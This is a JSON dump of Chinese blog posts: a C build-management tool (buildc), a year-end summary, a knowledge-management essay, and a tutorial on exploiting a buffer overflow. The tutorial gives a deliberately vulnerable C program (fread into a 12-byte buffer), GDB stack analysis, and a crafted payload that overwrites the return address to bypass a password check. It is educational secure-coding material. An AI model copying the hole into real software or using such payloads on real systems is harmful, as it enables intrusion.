href=\"http://tonybai.com/2011/08/15/cbehave-a-bdd-framework-for-c/\"\u003eCBehave\u003c/a\u003e和\u003ca href=\"http://tonybai.com/2011/12/08/buildc-a-building-assistant-tool-for-c-app/\"\u003ebuildc\u003c/a\u003e)\u003cbr\u003e\n- 合译了一本书（\u0026quot;\u003ca href=\"http://book.douban.com/subject/4768035/\"\u003eSeven Languages in Seven Weeks\u003c/a\u003e\u0026quot;，不过尚未出版）\u003cbr\u003e\n- 读了近50本书（通过\u003ca href=\"http://book.douban.com/people/tony_bai/\"\u003e豆瓣读书\u003c/a\u003e统计）\u003cbr\u003e\n- 新学了一门语言 – \u003ca href=\"http://tonybai.com/tag/Common-Lisp\"\u003eCommon Lisp\u003c/a\u003e\u003cbr\u003e\n- 新用了一门语言 – \u003ca href=\"http://python.org/\"\u003ePython\u003c/a\u003e\u003c/p\u003e","title":"2011小结"},{"content":"这几年我一直从事C语言项目的开发。这些项目的规模都不算小，少则十几万代码，多则几十万行代码，至少也都算得上是中型项目吧。项目构建工具使用的是传统的Make工具，构建脚本都是自行编写的，构建时直接在顶层目录下敲入make即可。\n这种传统的构建方式其实是很耗时费力的。比如执行make之前你需要根据项目代码的实际路径重新设定一些环境变量或修改Makefile中的某些标识路径的变量；你还要将项目依赖的各种内部公共库、第三方开源库悉数找到，并安装在指定目录下，修改Makefile中这些第三方库的路径配置。只有做完这些后，你才能顺利地执行Make。以后每当你更换一个环境，你就要将上面的步骤重复执行一遍。有的项目第三方依赖较多，要完整地搭建一个项目构建环境所耗费的时间也是很惊人的，特别是对一些不熟悉项目构建的新人更是如此。另外随着产品被要求具备在多个平台上运行的能力，你的构建脚本还要支持在多个平台上的构建，你要为项目所依赖的第三方库准备多个平台的版本；当某个依赖库版本进行了升级，你还要手工在多个环境下进行更新。\n为了使项目构建更加容易，我们曾经对Makefile脚本进行了改进，比如自动判断和设定当前顶层路径、自动判定当前项目代码所在的平台，并根据不同平台设定不同的变量值；甚至将项目依赖的第三方库放入subversion服务器，构建项目时通过Shell脚本自动checkout对应平台的依赖库并链接。这些改进都是有效的，但在修改了多个项目后，我们发现了坏味道，那就是在不同项目的Makefile中充斥着大量重复性的脚本代码，这让后续构建脚本的维护十分困难，在一个项目中修正了构建脚本的bug后，很容易遗忘另外几个项目中存在着同样bug。此外每次构建都重新下载项目依赖的第三方库会导致构建变的十分缓慢。\n我们在构建中遇到的问题大致就是这么多了。估计很多人会问：你们为何不用autotools生成的configure来生成项目构建脚本？为何不用scons等更加高级的构建工具呢？我的回答是即使使用了这些工具依旧无法解决现有的所有问题。比如利用configure-\u0026gt;make可以屏蔽掉一些平台移植的问题，但依旧无法解决第三方库依赖的问题。scons我也试用过，但了解不甚深入，我的印象中它的主要功用是简化构建脚本的编写，让大家从Makefile那纷繁复杂的源文件依赖关系中解脱出来，至于在区别平台以及解决第三方库依赖方面估计也无能为力；另外还有一个原因那就是让大家从已经十分熟悉的构建模式中转到scons的成本也是不小的。\n我们的问题其实并非构建脚本的编写问题，而是构建环境的管理问题。autotools和scons所解决的问题属于前者，即构建脚本的编写问题。而解决C语言项目构建环境管理的工具我了解的不多，在互联网上也没有google到。在这方面Java项目倒是有一个很好的工具 – Maven。利用Maven可以做很多事情，我对其了解不多，这里也不多说，但这里提到Maven是因为它的一个Feature启发了我，这个Feature就是对第三方依赖包的管理。虽说C项目依赖的第三方开源包也越来越多，但与Java项目相比那还是小屋见大屋。实际情况是一个Java项目如果不依赖十几个或几十个第三方开源包都不好意思拿出去说。这样一来如果手工找齐这数目庞大的开源包会让Java程序员头痛不已。Maven的这个Feature恰好帮助Java程序员解决了这个难题。Maven可以根据配置自动从互联网上下载指定版本的依赖包，后续Java项目的构建可直接使用已经下载到本地的包；Maven似乎还会定期自动更新第三方包的版本。\n受到Maven这个特性的启发，我于是就开发了这款C语言项目构建管理辅助工具 – buildc(项目主页http://code.google.com/p/buildc)。buildc工具本身是用Python语言实现的，这主要是考虑到Python较高的开发效率以及自带功能强大的标准库。这也是我第一次用Python写程序，个人认为buildc的代码十分混乱，内部实现耦合较高，扩展性差，也谈不上什么风格，都是命令式语言的思维，代码本身并没什么价值，以后有时间定会重构^_^。\nbuildc目前主要实现了两个功能：\n1、第三方依赖库的远程获取和本地管理\n2、根据目标主机环境、目标主机本地缓存的第三方库情况以及项目本身所依赖的第三方库的最新配置，自动生成一份包含了依赖库环境变量信息的Make.rules文件，或重新更新已有Make.rules文件(上一次由buildc生成的)。项目中的Makefile只需包含(include)Make.rules文件并使用该文件中的变量即可。\nbuildc的使用是有前提条件的，那就是第三方库必须按特定规划集中存储在一个版本控制服务器中，buildc目前仅支持Subversion。我不是很清楚Maven是如何从互联网上获取对应第三方开源包的jar包的，但我们很难直接获得C第三方库的二进制版本。这里面主要有两点原因：\n1、C语言的第三方包多以源码包的形式提供；\n2、Java号称\u0026quot;一次编写，到处运行\u0026quot;，也就是说Java第三方库仅需提供一份jar包即可运行在多个平台上；但C的二进制库不能，每种平台都会有对应的特定的版本，我们无法将一种二进制库应用到多个平台上。\n因此我们首先需要构建组织内部的第三方库集中存储服务器，将各个产品需要的第三方库在各个平台上进行构建，并将得到的静态库或动态库放入版本服务器中。符合buildc要求的二进制库的组织形式如下。比如在svn://127.0.0.1:6666/3rds这个repository下面我们的第三方库按如下组织形式存放：\n3rds/\n– libevent/\n– 2.0.10/\n– README\n– source_code_package\n– sparc_32_solaris/\n– include/\n– lib/\n– sparc_64_solaris/\n– x86_32_solaris/\n– x86_64_solaris/\n– x86_32_linux/\n– x86_64_linux/\n– netsnmp/\n– 5.2.0/\n…\n– 5.7.0/\n…\n… …\n可以看到每个第三方库的组织形式都像下面这样：\npackage_name/\n– version/\n– CPU_MODE_OS\n– include\n– lib\n一旦第三方库都按如此形式存储，buildc就可以获取到该服务器上的二进制库了。前提满足后，我们就来看看buildc在日常构建过程中的使用方法。\n一、buildc的安装\nbuildc目前尚未做成python安装包，只是以源码形式提供的。所以现有情况下只需Checkout或下载buildc源码包到本地即可以使用。\nbuildc的源码目录结构如下：\nbuildc* # 脚本入口\nbuild_utils/ # 源码库\ntemplates/ # Make.rules.in模板\nsamples/ # 配置样例\n为了方便在任意路径下使用buildc，可将存放buildc源码的目录加入到PATH环境变量中去。另外你可能还需执行\u0026rsquo;chmod u+x buildc\u0026rsquo;来为buildc加上执行权限。\n二、环境初始化\n执行buildc init，buildc会在你的HOME目录下建立.buildc.rc文件。该文件用于配置所有可用的第三方库的信息。\n$\u0026gt; buildc init\nCopy /home/tonybai/proj/build_tools/samples/buildc.rc.sample to /home/tonybai/.buildc.rc OK!\nPlease config /home/tonybai/.buildc.rc before you use other buildc commands!\nCopy /home/tonybai/proj/build_tools/samples/buildc.cfg.sample to ./buildc.cfg OK!\nPlease config buildc.cfg before you use other buildc commands!\n# $HOME/.buildc.rc\nfoo_repository = (\u0026lsquo;svn://10.10.0.156:6666/foo\u0026rsquo;,\n\u0026lsquo;~/.buildc_libs/foo\u0026rsquo;,\n[\n(\u0026lsquo;snmp\u0026rsquo;, \u0026lsquo;5.7.0\u0026rsquo;, \u0026rsquo;lib/libnetsnmp.a\u0026rsquo;),\n(\u0026rsquo;libexpat\u0026rsquo;, \u0026lsquo;2.0.1\u0026rsquo;, \u0026rsquo;lib/libexpat.a\u0026rsquo;),\n(\u0026rsquo;libiconv\u0026rsquo;, \u0026lsquo;1.13.1\u0026rsquo;, \u0026rsquo;lib/libiconv.a\u0026rsquo;),\n(\u0026rsquo;libevent\u0026rsquo;, \u0026lsquo;2.0.10\u0026rsquo;, \u0026rsquo;lib/libevent.a\u0026rsquo;),\n(\u0026rsquo;lcut\u0026rsquo;, \u0026lsquo;0.2.0\u0026rsquo;, \u0026rsquo;lib/liblcut.a\u0026rsquo;),\n(\u0026lsquo;instantclient\u0026rsquo;, \u0026lsquo;10.2.0.5.0\u0026rsquo;, \u0026rsquo;lib/libnnz10.so\u0026rsquo;)\n]\n)\nbar_repository = (\u0026lsquo;svn://10.10.0.156:6667/bar\u0026rsquo;,\n\u0026lsquo;~/.buildc_libs/bar\u0026rsquo;,\n[]\n)\nexternal_repositories = [\nfoo_repository,\nbar_repository\n]\n其中foo_repository和bar_repository分别代表两个可用的集中存储第三方库的服务器，每个repository中的详细配置包括svn repository的url、这个repository的本地缓存路径以及构建所需的该repository中的第三方库信息。\nbuildc init还会提供一个buildc.cfg配置文件，该配置文件在后面再细说。\n三、第三方库的本地缓存管理\n有了正确的.build.rc配置，我们就可以初始化第三方库在本地的缓存了，执行buildc cache init。\n$\u0026gt; buildc cache init\n===\u0026gt;Begin init repository [svn://10.10.0.156:6666/foo]\nCreate dir: /home/tonybai/.buildc_libs/foo\nlibrary [snmp] does not exist!\nCheckout [svn://10.10.0.156:6666/foo/snmp/5.7.0/x86_64_linux]…\nCheckout [svn://10.10.0.156:6666/foo/snmp/5.7.0/x86_64_linux] OK!\nlibrary [libexpat] does not exist!\nCheckout [svn://10.10.0.156:6666/foo/libexpat/2.0.1/x86_64_linux]…\nCheckout [svn://10.10.0.156:6666/foo/libexpat/2.0.1/x86_64_linux] OK!\n… …\nbuildc cache init命令会根据.buildc.rc中的配置，从各个repository中下载对应该主机平台的第三方库，存放在对应的缓存路径下备用。\n如果repository有更新，我们可以执行buildc cache update来更新本地缓存(在实际的日常开发过程中你可以将该命令加入到crontab中来定期自动更新本地缓存)：\n$ buildc cache update\n===\u0026gt;Begin update repository [svn://10.10.125.156:3560/3rds]\nUpdate [snmp]…\nUpdate [snmp] OK!\nUpdate [libexpat]…\nUpdate [libexpat] OK!\n… …\n当不需要本地缓存时，我们可以通过buildc cache remove删除之：\n$\u0026gt; buildc cache remove\n===\u0026gt;Begin remove repository [svn://10.10.0.156:6666/foo]\nRemove [/home/tonybai/.buildc_libs/foo] OK!\n\u0026lt;=== End remove repository [svn://10.10.0.156:6666/foo]\n… …\n四、生成项目Make.rules\n第三方库的本地缓存建立好后，我们就可以来配置项目了。在前面执行完buildc init时，buildc生成了一个项目配置模板文件buildc.cfg(.buildc.rc和buildc.cfg本身也都是Python源文件)，我们将该文件移到项目的顶层目录下，然后对该文件进行配置，下面是一个例子：\n#(proj_name, (major, minor, revision), author)\nproject = (\u0026lsquo;foo\u0026rsquo;, (1, 3, 1), \u0026rsquo;tonybai\u0026rsquo;)\n# [(libname, libversion, [archives*])*]\nexternal_libs = [\n(\u0026ldquo;snmp\u0026rdquo; , \u0026ldquo;5.7.0\u0026rdquo;, [\u0026ldquo;libnetsnmpagent.a\u0026rdquo;, \u0026ldquo;libnetsnmphelpers.a\u0026rdquo;, \u0026ldquo;libnetsnmpmibs.a\u0026rdquo;, \u0026ldquo;libnetsnmp.a\u0026rdquo;]),\n(\u0026ldquo;libexpat\u0026rdquo; , \u0026ldquo;2.0.1\u0026rdquo;, [\u0026ldquo;libexpat.a\u0026rdquo;])\n]\n# [def*]\n# e.g. [\u0026rsquo;-Dprint_msg=printf\u0026rsquo;, \u0026lsquo;-D_SELF_DEBUG_\u0026rsquo;]\ncustom_defs = [\n\u0026lsquo;-Dprint_msg=printf\u0026rsquo;,\n\u0026lsquo;-Derr_msg=printf\u0026rsquo;\n]\n# [(var, value)*]\n# e.g. [ (\u0026lsquo;WITHOUT_DB_IMPORT\u0026rsquo;, \u0026lsquo;TRUE\u0026rsquo;), (\u0026lsquo;SUPPORT_MYSQL\u0026rsquo;, \u0026lsquo;TRUE\u0026rsquo;) ]\ncustom_vars = [\n(\u0026lsquo;WITHOUT_IMPORT\u0026rsquo;, \u0026lsquo;TRUE\u0026rsquo;),\n(\u0026lsquo;WITHOUT_NM\u0026rsquo;, \u0026lsquo;TRUE\u0026rsquo;)\n]\n# [include_path*]\n# e.g. [\u0026rsquo;./include\u0026rsquo;, \u0026lsquo;/home/tonybai/.include\u0026rsquo;]\ncustom_includes = [\n\u0026lsquo;./include\u0026rsquo;\n]\n# [(lib_path, [archives])*]\n# e.g. [(\u0026rsquo;/home/tonybai/.lib\u0026rsquo;, [\u0026rsquo;libfoo.a\u0026rsquo;, \u0026rsquo;libbar.so\u0026rsquo;]), (‘.libs’, [\u0026rsquo;libzoo.a\u0026rsquo;])]\ncustom_libs = [\n(\u0026rsquo;.libs\u0026rsquo;, [\u0026rsquo;libfoo.a\u0026rsquo;]),\n(\u0026rsquo;\u0026rsquo;, [\u0026rsquo;libzoo.so\u0026rsquo;])\n]\n这里简要说明一下这个配置文件的各个配置项：\n* external_libs是项目所使用的第三方库列表，这些第三方库必须存在于该主机的本地缓存中，也就是.buildc.rc中拥有这些库的配置；\n* custom_defs是项目需要额外传递给编译器的命令选项集合；\n* custom_vars是你想额外在Make.rules定义的变量集合；\n* custom_includes是额外需要单独指定的的头文件包含路径集合；\n* custom_libs是项目所需额外的(不在本地第三方库中存储的)库路径，比如一些系统库。\n完成buildc.cfg的配置，我们就可以通过buildc config-make来生成Make.rules文件：\n$ buildc config-make\nCan not found Make.rules in current directory!\nGenerate [/home/tonybai/proj/foo/Make.rules] …\nConfig [/home/tonybai/proj/foo/Make.rules]…\nConfig [/home/tonybai/proj/foo/Make.rules] OK!\nGenerate [/home/tonybai/proj/foo/Make.rules] OK!\n生成的Make.rules如下：\n# Make.rules for foo\n# tonybai\n# 2011-12-08\n# @Generated by buildc@\n# Project information\nTOPDIR = /home/tonybai/proj/foo#@topdir@\n# Platform information\nOS = linux#@os@\nCPU = x86#@cpu@\nCMODE = 64-bit#@cmode@\n# Version information, (MAJOR.MINOR.REVISION)\nMAJOR = 1#@major@\nMINOR = 3#@minor@\nREVISION = 1#@revision@\nVERSION = $(MAJOR).$(MINOR).$(REVISION)\n# Compiler options\nDEFS = -D_REENTRANT -D_POSIX_PTHREAD_SEMANTICS -D_DEBUG_ -DVERSION=\\\u0026quot;${VERSION}\\\u0026quot;\n… …\nCUSTOM_DEFS = -Dprint_msg=printf -Derr_msg=printf #@custom_defs@\nCC = gcc -m64#@cc@\nCFLAGS = $(FDEBUG) $(FWALL) $(FPIC) $(FOPTIMIZE) $(DEFS) $(CUSTOM_DEFS) $(INCLUDES)\n# Library infomation\nsnmp_ROOT = ~/.buildc_libs/foo/snmp/5.7.0/x86_64_linux#@lib_roots@\nlibexpat_ROOT = ~/.buildc_libs/foo/libexpat/2.0.1/x86_64_linux#@lib_roots_end@\nLIB_INCLUDES = -I $(snmp_ROOT)/include -I $(libexpat_ROOT)/include #@lib_includes@\nLIBS_DEPEND = -L $(snmp_ROOT)/lib -lnetsnmpagent -lnetsnmphelpers -lnetsnmpmibs -lnetsnmp -L $(libexpat_ROOT)/lib -lexpat#@ libs_depend@\nCUSTOM_LIBS = -L .libs -lfoo -lzoo#@custom_libs@\n# Headers\nDEFAULT_INCLUDES = #@default_includes@\nCUSTOM_INCLUDES = -I ./include #@custom_includes@\nINCLUDES = -I $(TOPDIR)/include $(LIB_INCLUDES) $(CUSTOM_INCLUDES) $(DEFAULT_INCLUDES)\n# Libraries\nDEFAULT_LIBS = #@default_libs@\nLIBS = $(LIBS_DEPEND) $(CUSTOM_LIBS) $(DEFAULT_LIBS)\n# Other definitions\nWITHOUT_IMPORT = TRUE#@custom_vars@\nWITHOUT_NM = TRUE#@custom_vars_end@\n… …\n你可以对比着项目buildc.cfg的配置来查看Make.rules的构成。如果bulidc.cfg配置发生变化，那么再次执行buildc config-make会更新当前路径下的Make.rules。Make.rules的生成和更新使用了基于模板的标记替换技术。\n五、利用Make.rules构建项目\n可以看出Make.rules中将平台信息和第三方库的依赖信息都放置在对应的变量中了。项目的Makefile只需要包含Make.rules便可以利用这些信息进行项目的构建。可以利用的Make.rules中的主要变量包括：CFLAGS、LIBS。我们甚至可以为项目再编写一个\u0026quot;一键构建\u0026quot;脚本，该脚本中只需包含两行代码即可：\nbuildc config-make\nmake\n你无需将Make.rules提交到源码版本库中，但需要将buildc.cfg作为项目的一部分。这样在任一一个通过buildc做项目构建管理的环境中，你的项目就都可以进行\u0026quot;一键式\u0026quot;构建了，再也无需为配置项目路径和寻找构建第三方依赖库而发愁了。另外通过buildc进行构建管理的项目将会很容易地集成到持续集成过程中。\nbuildc与make的组合模式很类似于maven和ant的组合，但buildc目前的功能还无法与maven相比，不过buildc也不打算做成maven的模样。buildc后续可能会支持从更多种版本管理服务器(比如git)下载第三方库，支持按指定模板生成Make.rules(目前只有一种模板)等特性。从目前实践的情况来看，buildc这个项目构建管理辅助工具十分适合我们内部的C项目构建，也许它也同样适合你的项目，有兴趣的朋友不妨试试。\n","permalink":"https://tonybai.com/2011/12/08/buildc-a-building-assistant-tool-for-c-app/","summary":"\u003cp\u003e这几年我一直从事\u003ca href=\"http://tonybai.com/tag/C\"\u003eC语言\u003c/a\u003e项目的开发。这些项目的规模都不算小，少则十几万代码，多则几十万行代码，至少也都算得上是中型项目吧。项目构建工具使用的是传统的Make工具，构建脚本都是自行编写的，构建时直接在顶层目录下敲入make即可。\u003c/p\u003e\n\u003cp\u003e这种传统的构建方式其实是很耗时费力的。比如执行make之前你需要根据项目代码的实际路径重新设定一些环境变量或修改Makefile中的某些标识路径的变量；你还要将项目依赖的各种内部公共库、第三方开源库悉数找到，并安装在指定目录下，修改Makefile中这些第三方库的路径配置。只有做完这些后，你才能顺利地执行Make。以后每当你更换一个环境，你就要将上面的步骤重复执行一遍。有的项目第三方依赖较多，要完整地搭建一个项目构建环境所耗费的时间也是很惊人的，特别是对一些不熟悉项目构建的新人更是如此。另外随着产品被要求具备在多个平台上运行的能力，你的构建脚本还要支持在多个平台上的构建，你要为项目所依赖的第三方库准备多个平台的版本；当某个依赖库版本进行了升级，你还要手工在多个环境下进行更新。\u003c/p\u003e","title":"C语言项目构建管理辅助工具 – buildc"},{"content":"我们在平时编码过程中很少考虑代码的安全性(security)，与正确性、高性能和可移植性相比，安全性似乎总被忽略。昨天从安全性角度泛泛地Review了一下现有的代码，发现了不少具有安全隐患的地方。我们的程序员的确缺乏系统地有关安全编码方面的训练和实践，包括我在内，在安全编码方面也都是初级选手，脑子中对安全性编码缺乏系统的理解。\n市面上讲解编码安全性方面的书籍也不是很多，在C编码安全性方面，CERT(Carnegie Mellon University\u0026rsquo;s Computer Emergency Response Team)专家Robert Seacord的《C和C++安全编码》一书对安全性编码方面做了比较系统的讲解。Robert还编写了一本名为《C安全编码标准》的书，这本书可以作为指导安全编码实践的参考手册。\n浏览了一下《C和C++安全编码》，你会发现多数漏洞(vulnerability)都与缓冲区溢出(buffer overflow)有关。要想学会更好的防守，就要弄清楚漏洞是如何被利用的，在这里我们就来尝试一下如何利用缓冲区漏洞Hack应用。\n有这样一段应用代码：\n/* bufferoverflow.c */\nint ispasswdok() {\nchar passwd[12];\nmemset(passwd, 0, sizeof(passwd));\nFILE *p = fopen(\u0026ldquo;passwd\u0026rdquo;, \u0026ldquo;rb\u0026rdquo;);\nfread(passwd, 1, 200, p);\nfclose(p);\nif (strcmp(passwd, \u0026ldquo;123456\u0026rdquo;) == 0) {\nreturn 0;\n} else {\nreturn -1;\n}\n}\nint main() {\nint passwdstat = -1;\npasswdstat = ispasswdok();\nif (passwdstat != 0) {\nprintf (\u0026ldquo;invalid!\\n\u0026rdquo;);\nreturn -1;\n}\nprintf(\u0026ldquo;granted!\\n\u0026rdquo;);\nreturn 0;\n}\n这显然是故意“制造”的一段程序。原本密码(passwd)的输入是通过gets函数从标准输入获得的，但考虑到Hack时非可显示的ASCII码不易展示和输入，这里换成了fread，并且故意在fread使用中留下了隐患。我们Hack的目标很明确，就是在不知道密码的前提下，让这个程序输出\u0026quot;granted!\u0026quot;，即绕过密码校验逻辑。\nHack的原理这里简述一下。我们知道C程序的运行其实就是一系列的过程调用，而过程调用本身是依赖系统为程序建立的运行时堆栈(stack)的，每个过程(Procedure)都有自己的栈帧(stack frame)，各个过程的栈帧在运行时stack上按照调用的先后顺序从栈底向栈顶延伸排列。系统使用扩展基址寄存器(extended base pointer，%ebp)和扩展栈寄存器(extended stack pointer，%esp)来指示当前过程的栈帧。系统通过调整%ebp和%esp的方式按照特定的机制在各个过程的栈帧上切换，实现过程调用(call)和从过程调用返回(ret)。\n执行子过程调用指令(call)时，系统先将该call指令的下一条顺序指令的地址(%eip)，即子过程调用的返回地址存储在stack上，作为过程调用者栈帧的结尾，然后将%ebp也压入stack，作为子过程栈帧的开始，最后系统跳转到子过程的起始地址开始执行。总的来说，子过程调用call的执行相当于：\npush %eip\npush %ebp\n子过程在其开始处将调用者的%ebp保存在栈上，并建立自己的%ebp；子过程调用结束前，leave指令首先恢复调用者的%ebp和%esp，之后ret指令将存储在stack的调用者的返回地址恢复到指令寄存器%eip中，并跳转到该地址上执行后续指令，这样系统就从子过程返回继续原过程的执行了。\n这里的Hack就是利用重写返回地址来达到绕过密码校验过程的目的。返回地址与局部变量存储在同一栈上且系统没有对栈越界修改进行校验(一般情况是这样的)让Hack成为可能。我们通过GDB反汇编来看看main栈帧与ispasswdok栈帧在内存中的布局情况。\n我们首先将breakpoint设置在ispasswdok过程被调用前，设置断点后run：\n$ gdb bufferoverflow\n… …\n(gdb) break 20\nBreakpoint 1 at 0×8048591: file bufferoverflow.c, line 20.\n(gdb) run\nStarting program: /home/tonybai/test/c/bufferoverflow\nBreakpoint 1, main () at bufferoverflow.c:20\n20 int passwdstat = -1;\n我们查看一下当前main的栈帧情况：\n(gdb) info registers\nesp 0xbffff100 0xbffff100\nebp 0xbffff128 0xbffff128\neip 0×8048591 0×8048591 [main+9]\n可以看到main栈帧起始于0xbffff128。我们继续在ispasswdok处设置断点，继续执行。\n(gdb) break ispasswdok\nBreakpoint 2 at 0x804850a: file bufferoverflow.c, line 6.\n(gdb) continue\nContinuing.\nBreakpoint 2, ispasswdok () at bufferoverflow.c:6\n6 memset(passwd, 0, sizeof(passwd));\n现在程序已经执行到ispasswdok过程中，我们也可以看到ispasswdok栈帧情况了：\n(gdb) info registers\nesp 0xbffff0d0 0xbffff0d0\nebp 0xbffff0f8 0xbffff0f8\neip 0x804850a 0x804850a [ispasswdok+6]\n可以看到ispasswdok过程的栈帧起始于0xbffff0f8。前面说过子过程的%ebp指向的栈单元存储的是其调用者栈帧的起始地址，即其调用者的%ebp。我们来查看一下是否是这样：\n(gdb) x/4wx 0xbffff0f8\n0xbffff0f8: 0xbffff128 0x0804859e 0×00284324 0x00283ff4\n我们通过x/命令查看起始地址为0xbffff0f8的栈上连续4个4字节存储单元的值，可以看到0xbffff0f8处栈单元内的确存储是的main栈帧的%ebp，其值与前面main栈帧输出的结果相同。那么按照之前所说的，紧挨着这个地址的值就应该是ispasswdok过程调用的返回地址了，也就是我们要改写的那个地址，我们看到这个地址的值为0x0804859e。我们通过反汇编看看main过程的指令：\n(gdb) disas main\nDump of assembler code for function main:\n0×08048588 [+0]: push %ebp\n0×08048589 [+1]: mov %esp,%ebp\n0x0804858b [+3]: and $0xfffffff0,%esp\n0x0804858e [+6]: sub $0×20,%esp\n0×08048591 [+9]: movl $0xffffffff,0x1c(%esp)\n0×08048599 [+17]: call 0×8048504 [ispasswdok]\n0x0804859e [+22]: mov %eax,0x1c(%esp)\n… …\n可以看到0x0804859e就是ispasswdok调用后的下一条指令，看来它的确是我们想要找到地址。找到了要改写的地址，我们还要找到外部数据的入口，这个入口即是ispasswdok过程中的局部变量passwd。\npasswd的起始地址是什么？我们通过ispasswdok的反汇编代码来分析：\n(gdb) disas ispasswdok\nDump of assembler code for function ispasswdok:\n0×08048504 [+0]: push %ebp\n0×08048505 [+1]: mov %esp,%ebp\n… …\n0×08048555 [+81]: lea -0×18(%ebp),%eax\n0×08048558 [+84]: mov %eax,(%esp)\n0x0804855b [+87]: call 0x804842c [fread@plt]\n… …\n可以看到在为fread准备实际参数时，系统用了-0×18(%ebp)，显然这个地址就是passwd数组的始地址，即0xbffff0f8 – 0×18处。综上，我们用一幅简图来形象的说明一下各个重要元素：\n– 高地址，栈底\n… …\n0xbffff0fc: 0x0804859e \u0026lt;- 存储的值是main设置的ispasswdok过程的返回地址\n——————————————————\n0xbffff0f8: 0xbffff128 \u0026lt;- ispasswdok的%ebp，存储的值为main的%ebp\n0xbffff0f4: 0x08049ff4\n0xbffff0f0: 0x0011e0c0\n0xbffff0ec: 0x0804b008\n0xbffff0e8: 0×00000000\n0xbffff0e4: 0×00000000\n0xbffff0e0: 0×00000000 \u0026lt;- passwd数组的起始地址\n… …\n– 低地址，栈顶\n我们现在需要做的就是从0xbffff0e0这个地址开始写入数据，一直写到ispasswdok过程的返回地址，用新的地址值覆盖掉原有的返回地址0x0804859e。我们需要精心构造一个密码文件(passwd)：\necho -ne \u0026ldquo;aaaaaaaaaaaa\\x08\\xb0\\x04\\x08\\xc0\\xe0\\x11\\x00\\xf4\\x9f\\x04\\x08\\x28\\xf1\\xff\\xbf\\xc4\\x85\\x04\\x08\u0026rdquo; \u0026gt; passwd\n这里我们将passwd数组用字符\u0026rsquo;a\u0026rsquo;填充，将0x0804859e这个返回地址改写为0x080485c4，我们通过disas main可以看到这个跳转地址对应的指令：\n(gdb) disas main\nDump of assembler code for function main:\n0×08048590 [+0]: push %ebp\n0×08048591 [+1]: mov %esp,%ebp\n… …\n0x080485c4 [+52]: movl $0x80486ba,(%esp) ;程序执行跳转到这里\n0x080485cb [+59]: call 0x804841c [puts@plt] ; 输出granted!\n0x080485d0 [+64]: mov $0×0,%eax\n0x080485d5 [+69]: leave 0x080485d6 [+70]: ret\n我们在GDB中完整的执行一遍bufferoverflow：\n$ gdb bufferoverflow\n(gdb) run\nStarting program: /home/tonybai/test/c/bufferoverflow\ngranted!\nProgram exited normally.\nHack成功！(环境：gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5), GNU gdb (GDB) 7.1-ubuntu)\nGCC默认在目标代码中加入stack smashing protector(-fstack-protector)，在函数返回前，程序会检测特定的protector(又被称为canary，金丝雀)的值是否被修改，如果被修改了，则报错退出。上面的代码在编译时加入了-fno-stack-protector，否则一旦越界修改缓冲区外的地址，波及canary，程序就会报错退出。\n另外bufferoverflow这个程序在GDB下执行可以成功Hack，但在shell下独立执行依旧会报错，dump core（发生在fclose里），对于此问题暂没有什么头绪。\n后记：\n经过分析，bufferoverflow程序在非GDB调试环境下独立执行时dump core的问题应该是由于Linux采用的ASLR技术所致。所谓ASLR就是Address-Space Layout Randomization，中文意思是地址空间布局随机化。正因为每次bufferoverflow的栈地址空间布局随机不同，因此事先精心挑选的那组hack数据才无法起到作用，并导致栈被破坏而dump core。\n我们可以通过一个简单的测试程序看到ASLR的作用。\n/* test_aslr.c */\nint main() {\nint a;\nprintf(\u0026ldquo;a is at %p\\n\u0026rdquo;, \u0026amp;a);\nreturn 0;\n}\n下面多次执行该例程：\ntonybai@PC-ubuntu:/test/c$ test_aslr\na is at 0xbfbcb44c\ntonybai@PC-ubuntu:/test/c$ test_aslr\na is at 0xbfe3c8cc\ntonybai@PC-ubuntu:/test/c$ test_aslr\na is at 0xbfcc6d9c\ntonybai@PC-ubuntu:/test/c$ test_aslr\na is at 0xbfaea32c\n可以看到每次栈上变量a的地址都不相同。\nGDB默认关闭了ASLR，这才使得上面的Hack得以成型，通过GDB的信息也可以证实这一点：\n(gdb) show disable-randomization\nDisabling randomization of debuggee\u0026rsquo;s virtual address space is on.\n","permalink":"https://tonybai.com/2011/12/01/hack-app-by-buffer-overflow-leak/","summary":"\u003cp\u003e我们在平时编码过程中很少考虑代码的安全性(security)，与正确性、高性能和可移植性相比，安全性似乎总被忽略。昨天从安全性角度泛泛地Review了一下现有的代码，发现了不少具有安全隐患的地方。我们的程序员的确缺乏系统地有关安全编码方面的训练和实践，包括我在内，在安全编码方面也都是初级选手，脑子中对安全性编码缺乏系统的理解。\u003c/p\u003e","title":"利用缓冲区溢出漏洞Hack应用"},{"content":"我不是知识管理领域的专家，但我认为知识的积累和管理对一个期望长久稳定发展的组织来说很重要。今天我这个\u0026quot;门外人\u0026quot;就来说几句\u0026quot;门外话\u0026quot;。\n我所在的部门已经成立10余年了，但说实话部门在知识积累和管理方面做的比较一般。例如，没有统一的知识积累和管理平台，知识分享多靠mail列表，或将知识存储在文件中放入Microsoft Visual SourceSafe，若干日子后，再无人能找到之前的知识(VSS绝对不是一个知识管理平台，顶多就是一个版本管理工具，还是个有些落伍的工具)；没有专人负责知识积累和管理；知识积累与管理似乎始终是优先级最低的那个任务。\n近些年随着公司层面加强了对知识积累和管理的重视度，部门似乎也认识到了知识\u0026quot;丢失\u0026quot;现象的严重性，遂加强了知识积累方面的投入，但始终没有系统的知识积累和管理方案出台，部门内部依旧没有形成很好的知识积累的习惯。知识\u0026quot;丢失\u0026quot;不免让人痛心，于是今年年初我们决定自己在产品线内部搭建知识积累平台(采用MediaWiki)，并指派专人负责知识库建设、策划、知识整理以及知识库的备份(自动备份)。就这样我们\u0026quot;摸着石头过河\u0026quot;，一年下来收获颇丰。这里的收获指的不仅仅是积累的知识，还有宝贵的知识积累和管理的实践经验，更重要的是通过实践让我们更加认识到知识积累和管理的重要性，特别是对一个中等规模的组织而言。\n我们的知识管理大致分为以下几个阶段。\n一、知识库平台的建设\n要想做知识积累和管理，首先要搭建一个知识管理的平台 – 知识库系统。组织内部的知识是由组织内部的人员协同生产出来的，除非你的组织需要特别专业的知识库管理平台以及特定的知识管理咨询服务，否则很多开源的Wiki工具可作为知识库的候选，比如TWiki、MediaWiki等。MediaWiki大家一定不陌生，因为世界上最大的知识库 - 维基百科(wikipedia)就是基于该工具搭建的，另外MediaWiki插件众多，也便于实现一些特定的需求。我们最终选择的也是MediaWiki。我这里倒没有什么选型的标准，只是觉得一款合格的知识库工具至少应具备一下几个特点：\n- 访问方便，便于知识积累(例如，MediaWiki通过Browser访问，无需客户端装任何插件)\n- 